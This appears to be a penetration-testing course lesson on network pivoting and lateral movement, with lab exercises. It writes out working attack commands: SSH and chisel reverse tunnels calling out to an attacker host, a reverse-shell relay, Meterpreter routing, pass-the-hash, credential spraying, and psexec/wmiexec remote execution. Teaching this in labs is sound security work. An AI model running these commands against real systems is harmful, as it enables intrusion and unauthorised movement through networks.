Pivoting & Lateral Movement
Move through segmented networks using port forwarding, dynamic SOCKS proxies, chisel tunnels, and ProxyChains — reaching hosts that aren't directly accessible from the attacker machine.
Learning Objectives
- → Perform local and remote port forwarding with SSH tunnels
- → Set up SOCKS5 dynamic proxy with SSH and ProxyChains
- → Use chisel for reverse SOCKS tunneling through firewalls
- → Pivot through Meterpreter sessions for multi-hop networks
- → Map and enumerate internal networks from a compromised pivot host
The Pivoting Problem
Real-world network segmentation:
Attacker (192.168.1.50)
|
| (internet / VPN)
v
DMZ (10.0.0.0/24) -- compromised web server: 10.0.0.5
|
| (internal firewall — only allows limited ports)
v
Internal (172.16.0.0/24) -- target: 172.16.0.100 (NOT directly accessible!)
Goal: reach 172.16.0.100 through the compromised 10.0.0.5 pivot host
SSH Tunneling
Local Port Forwarding
# Access internal host via SSH pivot
# Forward local port to internal target through SSH host
ssh -L LOCAL_PORT:TARGET_IP:TARGET_PORT user@PIVOT_HOST
# Example: DB on 172.16.0.100:3306 via pivot 10.0.0.5
ssh -L 4406:172.16.0.100:3306 [email protected]
# Now: mysql -h 127.0.0.1 -P 4406 -u root → connects to 172.16.0.100:3306
# Browse internal web server:
ssh -L 8080:172.16.0.10:80 [email protected]
# Now: curl http://localhost:8080 → hits 172.16.0.10:80
Remote Port Forwarding
# Expose a port from behind a firewall back to the attacker
# Useful when pivot has no public IP, only outbound connections allowed
ssh -R ATTACKER_PORT:localhost:22 user@attacker_machine
# Now: attacker can ssh -p ATTACKER_PORT localhost to reach pivot's SSH
# More useful: reverse shell caught on attacker via pivot
# Victim runs: ssh -R 4444:192.168.1.50:4444 user@attacker
# Now: listener on attacker:4444 receives connections from inside the network
Dynamic SOCKS Proxy
# Create a SOCKS5 proxy through the SSH tunnel
ssh -D 9050 user@PIVOT_HOST
# Now: all tools proxied through this can reach PIVOT's network
# Configure ProxyChains:
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 9050
# Run any tool through the proxy:
proxychains nmap -sT -Pn -p 22,80,443,3306 172.16.0.100
proxychains curl http://172.16.0.10/
proxychains crackmapexec smb 172.16.0.0/24 -u admin -p password
# Note: NMAP via proxychains: use -sT (TCP connect) not -sS (SYN)
# UDP doesn't work through SOCKS proxy
Chisel – Reverse Proxy Tunneling
# Chisel: HTTP-based tunnel — works through HTTP proxies and firewalls
# Useful when SSH is blocked but HTTP/HTTPS is allowed
# Download chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel*.gz && chmod +x chisel
# On attacker (server mode):
./chisel server -p 8080 --reverse
# Listens on :8080 for chisel client connections
# On pivot host (client mode) — connects OUT to attacker:
./chisel client ATTACKER_IP:8080 R:socks
# Creates a SOCKS5 proxy on attacker's port 1080
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Now route traffic through the tunnel:
proxychains nmap -sT -Pn 172.16.0.100
proxychains evil-winrm -i 172.16.0.100 -u administrator -H HASH
Meterpreter Pivoting
# From a Meterpreter session, add a network route to internal subnet:
meterpreter > run post/multi/manage/autoroute
# Or manually:
meterpreter > background
msf6 > route add 172.16.0.0/24 SESSION_ID
# Now MSF modules can reach 172.16.0.0/24 via the pivot
# Set up SOCKS proxy through Meterpreter:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(socks_proxy) > set SRVPORT 9050
msf6 auxiliary(socks_proxy) > set VERSION 5
msf6 auxiliary(socks_proxy) > run -j
# Configure proxychains to use 127.0.0.1:9050
# Port forwarding via Meterpreter:
meterpreter > portfwd add -l 3306 -p 3306 -r 172.16.0.100
# Now: mysql -h 127.0.0.1 -P 3306 → reaches internal DB
Lateral Movement Techniques
Pass-the-Hash / Pass-the-Ticket
# Move to other hosts using harvested credentials
# (covered in Password Attacks lesson)
crackmapexec smb 172.16.0.0/24 -u administrator -H NTLM_HASH
# Check for password reuse:
crackmapexec smb 172.16.0.0/24 -u users.txt -p passwords.txt
PSExec and Remote Execution
# Remote command execution:
impacket-psexec administrator:[email protected] # SMB
impacket-wmiexec administrator:[email protected] # WMI
impacket-smbexec administrator:[email protected] # SMBexec
# PowerShell remoting (WinRM):
evil-winrm -i 172.16.0.100 -u administrator -p password
# Or PTH:
evil-winrm -i 172.16.0.100 -u administrator -H NTLM_HASH
Network Discovery from Pivot
# Enumerate from the pivot host:
# 1. ARP table (hosts the pivot has talked to recently):
arp -a
# 2. Routing table (what subnets are reachable):
route -n # Linux
route print # Windows
# 3. Active connections:
netstat -antup # Linux
netstat -ano # Windows
# 4. Scan internal subnet (via proxychains or on pivot):
# Upload static nmap binary to pivot:
scp /opt/nmap-static user@pivot:/tmp/
ssh user@pivot "/tmp/nmap -sT -Pn -p 22,80,443,3389,445,3306 172.16.0.0/24 -oN /tmp/internal_scan.txt"
Double Pivot
# When the internal network also has deeper segmentation:
# Attacker -> Pivot1 (DMZ) -> Pivot2 (Internal) -> Target (Deep Internal)
# Chisel double pivot:
# Attacker (server):
./chisel server -p 8080 --reverse
# Pivot1 (client connecting to attacker, offering SOCKS):
./chisel client ATTACKER:8080 R:1080:socks
# Pivot2 (connecting through Pivot1's SOCKS to attacker):
proxychains ./chisel client ATTACKER:8080 R:1081:socks
# Attacker uses port 1081 to reach deep internal through both pivots
Set up a multi-segment lab with 3 VMs (Attacker, Pivot, Internal): (1) confirm Attacker cannot directly reach Internal VM, (2) establish SSH shell on Pivot, (3) local port forward: ssh -L 8080:INTERNAL_IP:80 user@PIVOT, (4) verify: curl http://localhost:8080 returns Internal web server, (5) dynamic proxy: ssh -D 9050 user@PIVOT, (6) configure /etc/proxychains4.conf: socks5 127.0.0.1 9050, (7) proxychains nmap -sT -Pn -p 80,443,22,3306 INTERNAL_IP.
What is the difference between local and remote port forwarding in SSH?
Why must you use -sT (TCP connect) with Nmap through ProxyChains?
Set up a chisel tunnel through a firewalled pivot: (1) start chisel server on attacker: ./chisel server -p 8080 --reverse, (2) transfer chisel to pivot: scp chisel user@pivot:/tmp/, (3) connect from pivot: ./chisel client ATTACKER_IP:8080 R:socks, (4) observe SOCKS proxy on attacker port 1080, (5) use proxychains nmap to scan internal network through the tunnel, (6) compare: can you reach hosts that were unreachable before?
Why is chisel particularly useful when SSH is blocked by a firewall?
Pivot through Meterpreter: (1) obtain Meterpreter session on a DMZ host, (2) background the session, (3) add route: route add 172.16.0.0/24 SESSION_ID, (4) set up SOCKS proxy: use auxiliary/server/socks_proxy, (5) configure proxychains to use MSF SOCKS proxy, (6) scan internal subnet through the route, (7) exploit an internal host using the route (Metasploit modules route automatically through the session).
What does 'route add' do in Metasploit?